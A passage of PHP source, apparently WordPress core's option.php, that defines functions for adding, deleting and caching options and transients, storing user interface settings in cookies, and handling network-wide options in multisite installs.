'updated_option', $option, $old_value, $value ); return true; } /** * Adds a new option. * * You do not need to serialize values. If the value needs to be serialized, * then it will be serialized before it is inserted into the database. * Remember, resources cannot be serialized or added as an option. * * You can create options without values and then update the values later. * Existing options will not be updated and checks are performed to ensure that you * aren't adding a protected WordPress option. Care should be taken to not name * options the same as the ones which are protected. * * @since 1.0.0 * @since 6.6.0 The $autoload parameter's default value was changed to null. * @since 6.7.0 The autoload values 'yes' and 'no' are deprecated. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $option Name of the option to add. Expected to not be SQL-escaped. * @param mixed $value Optional. Option value. Must be serializable if non-scalar. * Expected to not be SQL-escaped. * @param string $deprecated Optional. Description. Not used anymore. * @param bool|null $autoload Optional. Whether to load the option when WordPress starts up. * Accepts a boolean, or `null` to leave the decision up to default heuristics in * WordPress. For backward compatibility 'yes' and 'no' are also accepted, though using * these values is deprecated. * Autoloading too many options can lead to performance problems, especially if the * options are not frequently used. For options which are accessed across several places * in the frontend, it is recommended to autoload them, by using true. * For options which are accessed only on few specific URLs, it is recommended * to not autoload them, by using false. * Default is null, which means WordPress will determine the autoload value. * @return bool True if the option was added, false otherwise. */ function add_option( $option, $value = '', $deprecated = '', $autoload = null ) { global $wpdb; if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.3.0' ); } if ( is_scalar( $option ) ) { $option = trim( $option ); } if ( empty( $option ) ) { return false; } /* * Until a proper _deprecated_option() function can be introduced, * redirect requests to deprecated keys to the new, correct ones. */ $deprecated_keys = array( 'blacklist_keys' => 'disallowed_keys', 'comment_whitelist' => 'comment_previously_approved', ); if ( isset( $deprecated_keys[ $option ] ) && ! wp_installing() ) { _deprecated_argument( __FUNCTION__, '5.5.0', sprintf( /* translators: 1: Deprecated option key, 2: New option key. */ __( 'The "%1$s" option key has been renamed to "%2$s".' ), $option, $deprecated_keys[ $option ] ) ); return add_option( $deprecated_keys[ $option ], $value, $deprecated, $autoload ); } wp_protect_special_option( $option ); if ( is_object( $value ) ) { $value = clone $value; } $value = sanitize_option( $option, $value ); /* * Make sure the option doesn't already exist. * We can check the 'notoptions' cache before we ask for a DB query. */ $notoptions = wp_cache_get( 'notoptions', 'options' ); if ( ! is_array( $notoptions ) || ! isset( $notoptions[ $option ] ) ) { /** This filter is documented in wp-includes/option.php */ if ( apply_filters( "default_option_{$option}", false, $option, false ) !== get_option( $option ) ) { return false; } } $serialized_value = maybe_serialize( $value ); $autoload = wp_determine_option_autoload_value( $option, $value, $serialized_value, $autoload ); /** * Fires before an option is added. * * @since 2.9.0 * * @param string $option Name of the option to add. * @param mixed $value Value of the option. */ do_action( 'add_option', $option, $value ); $result = $wpdb->query( $wpdb->prepare( "INSERT INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, %s) ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)", $option, $serialized_value, $autoload ) ); if ( ! $result ) { return false; } if ( ! wp_installing() ) { if ( in_array( $autoload, wp_autoload_values_to_autoload(), true ) ) { $alloptions = wp_load_alloptions( true ); $alloptions[ $option ] = $serialized_value; wp_cache_set( 'alloptions', $alloptions, 'options' ); } else { wp_cache_set( $option, $serialized_value, 'options' ); } } // This option exists now. $notoptions = wp_cache_get( 'notoptions', 'options' ); // Yes, again... we need it to be fresh. if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) { unset( $notoptions[ $option ] ); wp_cache_set( 'notoptions', $notoptions, 'options' ); } /** * Fires after a specific option has been added. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.5.0 As `add_option_{$name}` * @since 3.0.0 * * @param string $option Name of the option to add. * @param mixed $value Value of the option. */ do_action( "add_option_{$option}", $option, $value ); /** * Fires after an option has been added. * * @since 2.9.0 * * @param string $option Name of the added option. * @param mixed $value Value of the option. */ do_action( 'added_option', $option, $value ); return true; } /** * Removes an option by name. Prevents removal of protected WordPress options. * * @since 1.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $option Name of the option to delete. Expected to not be SQL-escaped. * @return bool True if the option was deleted, false otherwise. */ function delete_option( $option ) { global $wpdb; if ( is_scalar( $option ) ) { $option = trim( $option ); } if ( empty( $option ) ) { return false; } wp_protect_special_option( $option ); // Get the ID, if no ID then return. $row = $wpdb->get_row( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s", $option ) ); if ( is_null( $row ) ) { return false; } /** * Fires immediately before an option is deleted. * * @since 2.9.0 * * @param string $option Name of the option to delete. */ do_action( 'delete_option', $option ); $result = $wpdb->delete( $wpdb->options, array( 'option_name' => $option ) ); if ( ! wp_installing() ) { if ( in_array( $row->autoload, wp_autoload_values_to_autoload(), true ) ) { $alloptions = wp_load_alloptions( true ); if ( is_array( $alloptions ) && isset( $alloptions[ $option ] ) ) { unset( $alloptions[ $option ] ); wp_cache_set( 'alloptions', $alloptions, 'options' ); } } else { wp_cache_delete( $option, 'options' ); } $notoptions = wp_cache_get( 'notoptions', 'options' ); if ( ! is_array( $notoptions ) ) { $notoptions = array(); } $notoptions[ $option ] = true; wp_cache_set( 'notoptions', $notoptions, 'options' ); } if ( $result ) { /** * Fires after a specific option has been deleted. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 3.0.0 * * @param string $option Name of the deleted option. */ do_action( "delete_option_{$option}", $option ); /** * Fires after an option has been deleted. * * @since 2.9.0 * * @param string $option Name of the deleted option. */ do_action( 'deleted_option', $option ); return true; } return false; } /** * Determines the appropriate autoload value for an option based on input. * * This function checks the provided autoload value and returns a standardized value * ('on', 'off', 'auto-on', 'auto-off', or 'auto') based on specific conditions. * * If no explicit autoload value is provided, the function will check for certain heuristics around the given option. * It will return `auto-on` to indicate autoloading, `auto-off` to indicate not autoloading, or `auto` if no clear * decision could be made. * * @since 6.6.0 * @access private * * @param string $option The name of the option. * @param mixed $value The value of the option to check its autoload value. * @param mixed $serialized_value The serialized value of the option to check its autoload value. * @param bool|null $autoload The autoload value to check. * Accepts 'on'|true to enable or 'off'|false to disable, or * 'auto-on', 'auto-off', or 'auto' for internal purposes. * Any other autoload value will be forced to either 'auto-on', * 'auto-off', or 'auto'. * 'yes' and 'no' are supported for backward compatibility. * @return string Returns the original $autoload value if explicit, or 'auto-on', 'auto-off', * or 'auto' depending on default heuristics. */ function wp_determine_option_autoload_value( $option, $value, $serialized_value, $autoload ) { // Check if autoload is a boolean. if ( is_bool( $autoload ) ) { return $autoload ? 'on' : 'off'; } switch ( $autoload ) { case 'on': case 'yes': return 'on'; case 'off': case 'no': return 'off'; } /** * Allows to determine the default autoload value for an option where no explicit value is passed. * * @since 6.6.0 * * @param bool|null $autoload The default autoload value to set. Returning true will be set as 'auto-on' in the * database, false will be set as 'auto-off', and null will be set as 'auto'. * @param string $option The passed option name. * @param mixed $value The passed option value to be saved. */ $autoload = apply_filters( 'wp_default_autoload_value', null, $option, $value, $serialized_value ); if ( is_bool( $autoload ) ) { return $autoload ? 'auto-on' : 'auto-off'; } return 'auto'; } /** * Filters the default autoload value to disable autoloading if the option value is too large. * * @since 6.6.0 * @access private * * @param bool|null $autoload The default autoload value to set. * @param string $option The passed option name. * @param mixed $value The passed option value to be saved. * @param mixed $serialized_value The passed option value to be saved, in serialized form. * @return bool|null Potentially modified $default. */ function wp_filter_default_autoload_value_via_option_size( $autoload, $option, $value, $serialized_value ) { /** * Filters the maximum size of option value in bytes. * * @since 6.6.0 * * @param int $max_option_size The option-size threshold, in bytes. Default 150000. * @param string $option The name of the option. */ $max_option_size = (int) apply_filters( 'wp_max_autoloaded_option_size', 150000, $option ); $size = ! empty( $serialized_value ) ? strlen( $serialized_value ) : 0; if ( $size > $max_option_size ) { return false; } return $autoload; } /** * Deletes a transient. * * @since 2.8.0 * * @param string $transient Transient name. Expected to not be SQL-escaped. * @return bool True if the transient was deleted, false otherwise. */ function delete_transient( $transient ) { /** * Fires immediately before a specific transient is deleted. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 3.0.0 * * @param string $transient Transient name. */ do_action( "delete_transient_{$transient}", $transient ); if ( wp_using_ext_object_cache() || wp_installing() ) { $result = wp_cache_delete( $transient, 'transient' ); } else { $option_timeout = '_transient_timeout_' . $transient; $option = '_transient_' . $transient; $result = delete_option( $option ); if ( $result ) { delete_option( $option_timeout ); } } if ( $result ) { /** * Fires after a transient is deleted. * * @since 3.0.0 * * @param string $transient Deleted transient name. */ do_action( 'deleted_transient', $transient ); } return $result; } /** * Retrieves the value of a transient. * * If the transient does not exist, does not have a value, or has expired, * then the return value will be false. * * @since 2.8.0 * * @param string $transient Transient name. Expected to not be SQL-escaped. * @return mixed Value of transient. */ function get_transient( $transient ) { /** * Filters the value of an existing transient before it is retrieved. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * Returning a value other than false from the filter will short-circuit retrieval * and return that value instead. * * @since 2.8.0 * @since 4.4.0 The `$transient` parameter was added * * @param mixed $pre_transient The default value to return if the transient does not exist. * Any value other than false will short-circuit the retrieval * of the transient, and return that value. * @param string $transient Transient name. */ $pre = apply_filters( "pre_transient_{$transient}", false, $transient ); if ( false !== $pre ) { return $pre; } if ( wp_using_ext_object_cache() || wp_installing() ) { $value = wp_cache_get( $transient, 'transient' ); } else { $transient_option = '_transient_' . $transient; if ( ! wp_installing() ) { // If option is not in alloptions, it is not autoloaded and thus has a timeout. $alloptions = wp_load_alloptions(); if ( ! isset( $alloptions[ $transient_option ] ) ) { $transient_timeout = '_transient_timeout_' . $transient; wp_prime_option_caches( array( $transient_option, $transient_timeout ) ); $timeout = get_option( $transient_timeout ); if ( false !== $timeout && $timeout < time() ) { delete_option( $transient_option ); delete_option( $transient_timeout ); $value = false; } } } if ( ! isset( $value ) ) { $value = get_option( $transient_option ); } } /** * Filters an existing transient's value. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 2.8.0 * @since 4.4.0 The `$transient` parameter was added * * @param mixed $value Value of transient. * @param string $transient Transient name. */ return apply_filters( "transient_{$transient}", $value, $transient ); } /** * Sets/updates the value of a transient. * * You do not need to serialize values. If the value needs to be serialized, * then it will be serialized before it is set. * * @since 2.8.0 * * @param string $transient Transient name. Expected to not be SQL-escaped. * Must be 172 characters or fewer in length. * @param mixed $value Transient value. Must be serializable if non-scalar. * Expected to not be SQL-escaped. * @param int $expiration Optional. Time until expiration in seconds. Default 0 (no expiration). * @return bool True if the value was set, false otherwise. */ function set_transient( $transient, $value, $expiration = 0 ) { $expiration = (int) $expiration; /** * Filters a specific transient before its value is set. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 3.0.0 * @since 4.2.0 The `$expiration` parameter was added. * @since 4.4.0 The `$transient` parameter was added. * * @param mixed $value New value of transient. * @param int $expiration Time until expiration in seconds. * @param string $transient Transient name. */ $value = apply_filters( "pre_set_transient_{$transient}", $value, $expiration, $transient ); /** * Filters the expiration for a transient before its value is set. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 4.4.0 * * @param int $expiration Time until expiration in seconds. Use 0 for no expiration. * @param mixed $value New value of transient. * @param string $transient Transient name. */ $expiration = apply_filters( "expiration_of_transient_{$transient}", $expiration, $value, $transient ); if ( wp_using_ext_object_cache() || wp_installing() ) { $result = wp_cache_set( $transient, $value, 'transient', $expiration ); } else { $transient_timeout = '_transient_timeout_' . $transient; $transient_option = '_transient_' . $transient; wp_prime_option_caches( array( $transient_option, $transient_timeout ) ); if ( false === get_option( $transient_option ) ) { $autoload = true; if ( $expiration ) { $autoload = false; add_option( $transient_timeout, time() + $expiration, '', false ); } $result = add_option( $transient_option, $value, '', $autoload ); } else { /* * If expiration is requested, but the transient has no timeout option, * delete, then re-create transient rather than update. */ $update = true; if ( $expiration ) { if ( false === get_option( $transient_timeout ) ) { delete_option( $transient_option ); add_option( $transient_timeout, time() + $expiration, '', false ); $result = add_option( $transient_option, $value, '', false ); $update = false; } else { update_option( $transient_timeout, time() + $expiration ); } } if ( $update ) { $result = update_option( $transient_option, $value ); } } } if ( $result ) { /** * Fires after the value for a specific transient has been set. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 3.0.0 * @since 3.6.0 The `$value` and `$expiration` parameters were added. * @since 4.4.0 The `$transient` parameter was added. * * @param mixed $value Transient value. * @param int $expiration Time until expiration in seconds. * @param string $transient The name of the transient. */ do_action( "set_transient_{$transient}", $value, $expiration, $transient ); /** * Fires after the value for a transient has been set. * * @since 6.8.0 * * @param string $transient The name of the transient. * @param mixed $value Transient value. * @param int $expiration Time until expiration in seconds. */ do_action( 'set_transient', $transient, $value, $expiration ); /** * Fires after the transient is set. * * @since 3.0.0 * @since 3.6.0 The `$value` and `$expiration` parameters were added. * @deprecated 6.8.0 Use {@see 'set_transient'} instead. * * @param string $transient The name of the transient. * @param mixed $value Transient value. * @param int $expiration Time until expiration in seconds. */ do_action_deprecated( 'setted_transient', array( $transient, $value, $expiration ), '6.8.0', 'set_transient' ); } return $result; } /** * Deletes all expired transients. * * Note that this function won't do anything if an external object cache is in use. * * The multi-table delete syntax is used to delete the transient record * from table a, and the corresponding transient_timeout record from table b. * * @since 4.9.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param bool $force_db Optional. Force cleanup to run against the database even when an external object cache is used. */ function delete_expired_transients( $force_db = false ) { global $wpdb; if ( ! $force_db && wp_using_ext_object_cache() ) { return; } $wpdb->query( $wpdb->prepare( "DELETE a, b FROM {$wpdb->options} a, {$wpdb->options} b WHERE a.option_name LIKE %s AND a.option_name NOT LIKE %s AND b.option_name = CONCAT( '_transient_timeout_', SUBSTRING( a.option_name, 12 ) ) AND b.option_value < %d", $wpdb->esc_like( '_transient_' ) . '%', $wpdb->esc_like( '_transient_timeout_' ) . '%', time() ) ); if ( ! is_multisite() ) { // Single site stores site transients in the options table. $wpdb->query( $wpdb->prepare( "DELETE a, b FROM {$wpdb->options} a, {$wpdb->options} b WHERE a.option_name LIKE %s AND a.option_name NOT LIKE %s AND b.option_name = CONCAT( '_site_transient_timeout_', SUBSTRING( a.option_name, 17 ) ) AND b.option_value < %d", $wpdb->esc_like( '_site_transient_' ) . '%', $wpdb->esc_like( '_site_transient_timeout_' ) . '%', time() ) ); } elseif ( is_main_site() && is_main_network() ) { // Multisite stores site transients in the sitemeta table. $wpdb->query( $wpdb->prepare( "DELETE a, b FROM {$wpdb->sitemeta} a, {$wpdb->sitemeta} b WHERE a.meta_key LIKE %s AND a.meta_key NOT LIKE %s AND b.meta_key = CONCAT( '_site_transient_timeout_', SUBSTRING( a.meta_key, 17 ) ) AND b.meta_value < %d", $wpdb->esc_like( '_site_transient_' ) . '%', $wpdb->esc_like( '_site_transient_timeout_' ) . '%', time() ) ); } } /** * Saves and restores user interface settings stored in a cookie. * * Checks if the current user-settings cookie is updated and stores it. When no * cookie exists (different browser used), adds the last saved cookie restoring * the settings. * * @since 2.7.0 */ function wp_user_settings() { if ( ! is_admin() || wp_doing_ajax() ) { return; } $user_id = get_current_user_id(); if ( ! $user_id ) { return; } if ( ! is_user_member_of_blog() ) { return; } $settings = (string) get_user_option( 'user-settings', $user_id ); if ( isset( $_COOKIE[ 'wp-settings-' . $user_id ] ) ) { $cookie = preg_replace( '/[^A-Za-z0-9=&_]/', '', $_COOKIE[ 'wp-settings-' . $user_id ] ); // No change or both empty. if ( $cookie === $settings ) { return; } $last_saved = (int) get_user_option( 'user-settings-time', $user_id ); $current = 0; if ( isset( $_COOKIE[ 'wp-settings-time-' . $user_id ] ) ) { $current = (int) preg_replace( '/[^0-9]/', '', $_COOKIE[ 'wp-settings-time-' . $user_id ] ); } // The cookie is newer than the saved value. Update the user_option and leave the cookie as-is. if ( $current > $last_saved ) { update_user_option( $user_id, 'user-settings', $cookie, false ); update_user_option( $user_id, 'user-settings-time', time() - 5, false ); return; } } // The cookie is not set in the current browser or the saved value is newer. $secure = ( 'https' === parse_url( admin_url(), PHP_URL_SCHEME ) ); setcookie( 'wp-settings-' . $user_id, $settings, time() + YEAR_IN_SECONDS, SITECOOKIEPATH, '', $secure ); setcookie( 'wp-settings-time-' . $user_id, time(), time() + YEAR_IN_SECONDS, SITECOOKIEPATH, '', $secure ); $_COOKIE[ 'wp-settings-' . $user_id ] = $settings; } /** * Retrieves user interface setting value based on setting name. * * @since 2.7.0 * * @param string $name The name of the setting. * @param string|false $default_value Optional. Default value to return when $name is not set. Default false. * @return mixed The last saved user setting or the default value/false if it doesn't exist. */ function get_user_setting( $name, $default_value = false ) { $all_user_settings = get_all_user_settings(); return isset( $all_user_settings[ $name ] ) ? $all_user_settings[ $name ] : $default_value; } /** * Adds or updates user interface setting. * * Both `$name` and `$value` can contain only ASCII letters, numbers, hyphens, and underscores. * * This function has to be used before any output has started as it calls `setcookie()`. * * @since 2.8.0 * * @param string $name The name of the setting. * @param string $value The value for the setting. * @return bool|null True if set successfully, false otherwise. * Null if the current user is not a member of the site. */ function set_user_setting( $name, $value ) { if ( headers_sent() ) { return false; } $all_user_settings = get_all_user_settings(); $all_user_settings[ $name ] = $value; return wp_set_all_user_settings( $all_user_settings ); } /** * Deletes user interface settings. * * Deleting settings would reset them to the defaults. * * This function has to be used before any output has started as it calls `setcookie()`. * * @since 2.7.0 * * @param string $names The name or array of names of the setting to be deleted. * @return bool|null True if deleted successfully, false otherwise. * Null if the current user is not a member of the site. */ function delete_user_setting( $names ) { if ( headers_sent() ) { return false; } $all_user_settings = get_all_user_settings(); $names = (array) $names; $deleted = false; foreach ( $names as $name ) { if ( isset( $all_user_settings[ $name ] ) ) { unset( $all_user_settings[ $name ] ); $deleted = true; } } if ( $deleted ) { return wp_set_all_user_settings( $all_user_settings ); } return false; } /** * Retrieves all user interface settings. * * @since 2.7.0 * * @global array $_updated_user_settings * * @return array The last saved user settings or empty array. */ function get_all_user_settings() { global $_updated_user_settings; $user_id = get_current_user_id(); if ( ! $user_id ) { return array(); } if ( isset( $_updated_user_settings ) && is_array( $_updated_user_settings ) ) { return $_updated_user_settings; } $user_settings = array(); if ( isset( $_COOKIE[ 'wp-settings-' . $user_id ] ) ) { $cookie = preg_replace( '/[^A-Za-z0-9=&_-]/', '', $_COOKIE[ 'wp-settings-' . $user_id ] ); if ( strpos( $cookie, '=' ) ) { // '=' cannot be 1st char. parse_str( $cookie, $user_settings ); } } else { $option = get_user_option( 'user-settings', $user_id ); if ( $option && is_string( $option ) ) { parse_str( $option, $user_settings ); } } $_updated_user_settings = $user_settings; return $user_settings; } /** * Private. Sets all user interface settings. * * @since 2.8.0 * @access private * * @global array $_updated_user_settings * * @param array $user_settings User settings. * @return bool|null True if set successfully, false if the current user could not be found. * Null if the current user is not a member of the site. */ function wp_set_all_user_settings( $user_settings ) { global $_updated_user_settings; $user_id = get_current_user_id(); if ( ! $user_id ) { return false; } if ( ! is_user_member_of_blog() ) { return null; } $settings = ''; foreach ( $user_settings as $name => $value ) { $_name = preg_replace( '/[^A-Za-z0-9_-]+/', '', $name ); $_value = preg_replace( '/[^A-Za-z0-9_-]+/', '', $value ); if ( ! empty( $_name ) ) { $settings .= $_name . '=' . $_value . '&'; } } $settings = rtrim( $settings, '&' ); parse_str( $settings, $_updated_user_settings ); update_user_option( $user_id, 'user-settings', $settings, false ); update_user_option( $user_id, 'user-settings-time', time(), false ); return true; } /** * Deletes the user settings of the current user. * * @since 2.7.0 */ function delete_all_user_settings() { $user_id = get_current_user_id(); if ( ! $user_id ) { return; } update_user_option( $user_id, 'user-settings', '', false ); setcookie( 'wp-settings-' . $user_id, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH ); } /** * Retrieve an option value for the current network based on name of option. * * @since 2.8.0 * @since 4.4.0 The `$use_cache` parameter was deprecated. * @since 4.4.0 Modified into wrapper for get_network_option() * * @see get_network_option() * * @param string $option Name of the option to retrieve. Expected to not be SQL-escaped. * @param mixed $default_value Optional. Value to return if the option doesn't exist. Default false. * @param bool $deprecated Whether to use cache. Multisite only. Always set to true. * @return mixed Value set for the option. */ function get_site_option( $option, $default_value = false, $deprecated = true ) { return get_network_option( null, $option, $default_value ); } /** * Adds a new option for the current network. * * Existing options will not be updated. Note that prior to 3.3 this wasn't the case. * * @since 2.8.0 * @since 4.4.0 Modified into wrapper for add_network_option() * * @see add_network_option() * * @param string $option Name of the option to add. Expected to not be SQL-escaped. * @param mixed $value Option value, can be anything. Expected to not be SQL-escaped. * @return bool True if the option was added, false otherwise. */ function add_site_option( $option, $value ) { return add_network_option( null, $option, $value ); } /** * Removes an option by name for the current network. * * @since 2.8.0 * @since 4.4.0 Modified into wrapper for delete_network_option() * * @see delete_network_option() * * @param string $option Name of the option to delete. Expected to not be SQL-escaped. * @return bool True if the option was deleted, false otherwise. */ function delete_site_option( $option ) { return delete_network_option( null, $option ); } /** * Updates the value of an option that was already added for the current network. * * @since 2.8.0 * @since 4.4.0 Modified into wrapper for update_network_option() * * @see update_network_option() * * @param string $option Name of the option. Expected to not be SQL-escaped. * @param mixed $value Option value. Expected to not be SQL-escaped. * @return bool True if the value was updated, false otherwise. */ function update_site_option( $option, $value ) { return update_network_option( null, $option, $value ); } /** * Retrieves a network's option value based on the option name. * * @since 4.4.0 * * @see get_option() * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|null $network_id ID of the network. Can be null to default to the current network ID. * @param string $option Name of the option to retrieve. Expected to not be SQL-escaped. * @param mixed $default_value Optional. Value to return if the option doesn't exist. Default false. * @return mixed Value set for the option. */ function get_network_option( $network_id, $option, $default_value = false ) { global $wpdb; if ( $network_id && ! is_numeric( $network_id ) ) { return false; } $network_id = (int) $network_id; // Fallback to the current network if a network ID is not specified. if ( ! $network_id ) { $network_id = get_current_network_id(); } /** * Filters the value of an existing network option before it is retrieved. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * Returning a value other than false from the filter will short-circuit retrieval * and return that value instead. * * @since 2.9.0 As 'pre_site_option_' . $key * @since 3.0.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.7.0 The `$network_id` parameter was added. * @since 4.9.0 The `$default_value` parameter was added. * * @param mixed $pre_site_option The value to return instead of the option value. This differs from * `$default_value`, which is used as the fallback value in the event * the option doesn't exist elsewhere in get_network_option(). * Default false (to skip past the short-circuit). * @param string $option Option name. * @param int $network_id ID of the network. * @param mixed $default_value The fallback value to return if the option does not exist. * Default false. */ $pre = apply_filters( "pre_site_option_{$option}", false, $option, $network_id, $default_value ); /** * Filters the value of any existing network option before it is retrieved. * * Returning a value other than false from the filter will short-circuit retrieval * and return that value instead. * * @since 6.9.0 * * @param mixed $pre_option The value to return instead of the network option value. This differs * from `$default_value`, which is used as the fallback value in the event * the option doesn't exist elsewhere in get_network_option(). * Default false (to skip past the short-circuit). * @param string $option Name of the option. * @param int $network_id ID of the network. * @param mixed $default_value The fallback value to return if the option does not exist. * Default false. */ $pre = apply_filters( 'pre_site_option', $pre, $option, $network_id, $default_value ); if ( false !== $pre ) { return $pre; } // Prevent non-existent options from triggering multiple queries. $notoptions_key = "$network_id:notoptions"; $notoptions = wp_cache_get( $notoptions_key, 'site-options' ); if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) { /** * Filters the value of a specific default network option. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 3.4.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.7.0 The `$network_id` parameter was added. * * @param mixed $default_value The value to return if the site option does not exist * in the database. * @param string $option Option name. * @param int $network_id ID of the network. */ return apply_filters( "default_site_option_{$option}", $default_value, $option, $network_id ); } if ( ! is_multisite() ) { /** This filter is documented in wp-includes/option.php */ $default_value = apply_filters( 'default_site_option_' . $option, $default_value, $option, $network_id ); $value = get_option( $option, $default_value ); } else { $cache_key = "$network_id:$option"; $value = wp_cache_get( $cache_key, 'site-options' ); if ( ! isset( $value ) || false === $value ) { $row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_value FROM $wpdb->sitemeta WHERE meta_key = %s AND site_id = %d", $option, $network_id ) ); // Has to be get_row() instead of get_var() because of funkiness with 0, false, null values. if ( is_object( $row ) ) { $value = $row->meta_value; $value = maybe_unserialize( $value ); wp_cache_set( $cache_key, $value, 'site-options' ); } else { if ( ! is_array( $notoptions ) ) { $notoptions = array(); } $notoptions[ $option ] = true; wp_cache_set( $notoptions_key, $notoptions, 'site-options' ); /** This filter is documented in wp-includes/option.php */ $value = apply_filters( 'default_site_option_' . $option, $default_value, $option, $network_id ); } } } if ( ! is_array( $notoptions ) ) { $notoptions = array(); wp_cache_set( $notoptions_key, $notoptions, 'site-options' ); } /** * Filters the value of an existing network option. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.9.0 As 'site_option_' . $key * @since 3.0.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.7.0 The `$network_id` parameter was added. * * @param mixed $value Value of network option. * @param string $option Option name. * @param int $network_id ID of the network. */ return apply_filters( "site_option_{$option}", $value, $option, $network_id ); } /** * Adds a new network option. * * Existing options will not be updated. * * @since 4.4.0 * * @see add_option() * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|null $network_id ID of the network. Can be null to default to the current network ID. * @param string $option Name of the option to add. Expected to not be SQL-escaped. * @param mixed $value Option value, can be anything. Expected to not be SQL-escaped. * @return bool True if the option was added, false otherwise. */ function add_network_option( $network_id, $option, $value ) { global $wpdb; if ( $network_id && ! is_numeric( $network_id ) ) { return false; } $network_id = (int) $network_id; // Fallback to the current network if a network ID is not specified. if ( ! $network_id ) { $network_id = get_current_network_id(); } wp_protect_special_option( $option ); /** * Filters the value of a specific network option before it is added. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.9.0 As 'pre_add_site_option_' . $key * @since 3.0.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.7.0 The `$network_id` parameter was added. * * @param mixed $value Value of network option. * @param string $option Option name. * @param int $network_id ID of the network. */ $value = apply_filters( "pre_add_site_option_{$option}", $value, $option, $network_id ); $notoptions_key = "$network_id:notoptions"; if ( ! is_multisite() ) { $result = add_option( $option, $value, '', false ); } else { $cache_key = "$network_id:$option"; /* * Make sure the option doesn't already exist. * We can check the 'notoptions' cache before we ask for a DB query. */ $notoptions = wp_cache_get( $notoptions_key, 'site-options' ); if ( ! is_array( $notoptions ) || ! isset( $notoptions[ $option ] ) ) { if ( false !== get_network_option( $network_id, $option, false ) ) { return false; } } $value = sanitize_option( $option, $value ); $serialized_value = maybe_serialize( $value ); $result = $wpdb->insert( $wpdb->sitemeta, array( 'site_id' => $network_id, 'meta_key' => $option, 'meta_value' => $serialized_value, ) ); if ( ! $result ) { return false; } wp_cache_set( $cache_key, $value, 'site-options' ); // This option exists now. $notoptions = wp_cache_get( $notoptions_key, 'site-options' ); // Yes, again... we need it to be fresh. if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) { unset( $notoptions[ $option ] ); wp_cache_set( $notoptions_key, $notoptions, 'site-options' ); } } if ( $result ) { /** * Fires after a specific network option has been successfully added. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.9.0 As "add_site_option_{$key}" * @since 3.0.0 * @since 4.7.0 The `$network_id` parameter was added. * * @param string $option Name of the network option. * @param mixed $value Value of the network option. * @param int $network_id ID of the network. */ do_action( "add_site_option_{$option}", $option, $value, $network_id ); /** * Fires after a network option has been successfully added. * * @since 3.0.0 * @since 4.7.0 The `$network_id` parameter was added. * * @param string $option Name of the network option. * @param mixed $value Value of the network option. * @param int $network_id ID of the network. */ do_action( 'add_site_option', $option, $value, $network_id ); return true; } return false; } /** * Removes a network option by name. * * @since 4.4.0 * * @see delete_option() * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|null $network_id ID of the network. Can be null to default to the current network ID. * @param string $option Name of the option to delete. Expected to not be SQL-escaped. * @return bool True if the option was deleted, false otherwise. */ function delete_network_option( $network_id, $option ) { global $wpdb; if ( $network_id && ! is_numeric( $network_id ) ) { return false; } $network_id = (int) $network_id; // Fallback to the current network if a network ID is not specified. if ( ! $network_id ) { $network_id = get_current_network_id(); } /** * Fires immediately before a specific network option is deleted. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 3.0.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.7.0 The `$network_id` parameter was added. * * @param string $option Option name. * @param int $network_id ID of the network. */ do_action( "pre_delete_site_option_{$option}", $option, $network_id ); if ( ! is_multisite() ) { $result = delete_option( $option ); } else { $row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM {$wpdb->sitemeta} WHERE meta_key = %s AND site_id = %d", $option, $network_id ) ); if ( is_null( $row ) || ! $row->meta_id ) { return false; } $cache_key = "$network_id:$option"; wp_cache_delete( $cache_key, 'site-options' ); $result = $wpdb->delete( $wpdb->sitemeta, array( 'meta_key' => $option, 'site_id' => $network_id, ) ); if ( $result ) { $notoptions_key = "$network_id:notoptions"; $notoptions = wp_cache_get( $notoptions_key, 'site-options' ); if ( ! is_array( $notoptions ) ) { $notoptions = array(); } $notoptions[ $option ] = true; wp_cache_set( $notoptions_key, $notoptions, 'site-options' ); } } if ( $result ) { /** * Fires after a specific network option has been deleted. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.9.0 As "delete_site_option_{$key}" * @since 3.0.0 * @since 4.7.0 The `$network_id` parameter was added. * * @param string $option Name of the network option. * @param int $network_id ID of the network. */ do_action( "delete_site_option_{$option}", $option, $network_id ); /** * Fires after a network option has been deleted. * * @since 3.0.0 * @since 4.7.0 The `$network_id` parameter was added. * * @param string $option Name of the network option. * @param int $network_id ID of the network. */ do_action( 'delete_site_option', $option, $network_id ); return true; } return false; } /** * Updates the value of a network option that was already added. * * @since 4.4.0 * * @see update_option() * * @global wpdb $wpdb 